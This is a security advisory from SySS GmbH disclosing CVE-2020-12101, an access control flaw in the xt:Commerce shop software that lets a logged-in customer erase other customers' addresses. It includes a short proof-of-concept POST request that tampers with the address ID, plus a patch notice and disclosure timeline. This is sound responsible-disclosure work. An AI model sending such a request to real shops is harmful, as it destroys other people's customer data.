[SYSS-2020-012] Improper Access Control (CWE-284) in xt:Commerce (CVE-2020-12101)

From: Fabian Krone <fabian.krone () syss de>
Date: Thu, 30 Apr 2020 13:42:46 +0200

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2020-012
Product: xt:Commerce
Manufacturer: xt:Commerce GmbH
Affected Version(s): 5.4.1, 6.2.1, 6.2.2
Tested Version(s): 5.4.1, 6.2.1
Vulnerability Type: Improper Access Control (CWE-284)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2020-02-03
Solution Date: 2020-04-17
Public Disclosure: 2020-04-30
CVE Reference: CVE-2020-12101
Author of Advisory:
Markus Weiler, SySS GmbH
Fabian Krone, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

xt:Commerce is an online shop software.

The product can be described as an online shop software which is mostly
used in German speaking regions. It is written in PHP and is available
as both a free and paid version. xt:Commerce can also be extended via
plug-ins.

Due to improper access control, a logged-in user can clear other user
addresses.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

A logged-in customer can create and alter addresses. These addresses are
referenced by incrementing IDs. On saving an address, an attacker could
change the ID of the address to write the data to. If the ID belongs to
an address which does not belong to the current logged-in user, every
field in the address is set to null. An attacker could use this to null
all addresses in a shop.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Sending the following request with an existing address ID belonging to
another customer nulls the fields for the inserted address ID:


POST /de/customer?page_action=edit_address HTTP/1.1
[...]

action=edit_address&address_book_id=[addressId]&old_address_class=
default&address_class=default&customers_company=&customers_gender=m&
customers_firstname=Pen&customers_lastname=Test&customers_street_address=
Test&customers_postcode=12345&customers_city=Test&customers_country_code=DE&
customers_phone=123456789&customers_fax=&customers_mobile_phone=
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Apply patch provided by the manufacturer.

More information:
https://helpdesk.xt-commerce.com/index.php?/Knowledgebase/Article/View/1784/294/adressbuch-sicherheitspatch-17042020-fr-xtcommerce-51-bis-622

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2020-01-23: Found security vulnerability during security assessment
2020-02-03: Customer reported found security vulnerability to manufacturer
2020-03-31: Security advisory with further details sent to manufacturer
2020-03-31: Acknowledgement of security advisory by manufacturer
2020-04-17: Patch released by manufacturer
2020-04-30: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for xt:Commerce
    https://www.xt-commerce.com/
[2] SySS Security Advisory SYSS-2020-012

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-012.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Markus Weiler and Fabian Krone
of SySS
GmbH.

E-Mail: markus.weiler () syss de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Markus_Weiler.asc
Key ID: 0xCEE94A2D05102DB9
Key Fingerprint: B95E 4C48 50F0 389C F24B  8B7A CEE9 4A2D 0510 2DB9

E-Mail: fabian.krone () syss de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Fabian_Krone.asc
Key ID: 0xBFDF30ABD10EA0F4
Key Fingerprint: 0ADE D2AA AE27 7DDA A8F0 C051 BFDF 30AB D10E A0F4
```

~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEECt7Sqq4nfdqo8MBRv98wq9EOoPQFAl6m74AACgkQv98wq9EO
oPTAeQ/+PMuBboErS+C0tYcWnZhsTbT7TQmHY3ex/nLmlKFLxJ5W+ZrhvH9/oGtY
CpSC0tQPy5qYaT3/r/lV5iix5Te8n2HHaK+ACFkWvuLYLTkdior/A4XVdXyxfmC0
5yZPlWszLjv1IhOuEXhHOAKVqIUAWaEnmUfILasKxgdMla6cV3JNNIOTz+IdgW5i
HKRaGWySVmO/ipcYHpyj8del7waNVx7yNqVQphPdqxSxoNlOcQn95YAu4UUO94Xk
2wDcyor2grutdIXhAkxq5qXPl6YrFhuMS9Sy/s3Pyx0UEqNDB/sfGJ3qPtutnG/s
asc2q+79ii12lUra/cvFIEQ04c0vm9H74IZJ21H0VEGl7OAsZI7+cfvaumLHiCkt
fvB0RyCNn40a9jfgTzypsB3rvFcNSWBtref5X/O4rbr0psIRguogeNzMrZCNnKcL
oTzGKDyGmLepm00eaDUawg3sgO7jxkUkoKy+OSeayFa92RnWjJlPb63Z7/0kIYrV
XjMmmWzifc3T7lRsdggfIjC7ssnxkPltR+wmewege8U1H1h4UkuIiYhmlYslNDPt
2Vuu3uOvkCRuEmpgXHoaBuXb9dKOJTkX+dvO/LuWL6Alrbpm2SYUNRmTAH5YfFBQ
xkcC+jxBx2QdiHRJa7M6L8xJbxL2qaMVFTFy3gaYXFnGCj6h4Ls=
=gSBl
-----END PGP SIGNATURE-----

By Date By Thread

Current thread:

[SYSS-2020-012] Improper Access Control (CWE-284) in xt:Commerce (CVE-2020-12101) ***Fabian Krone (May 01)***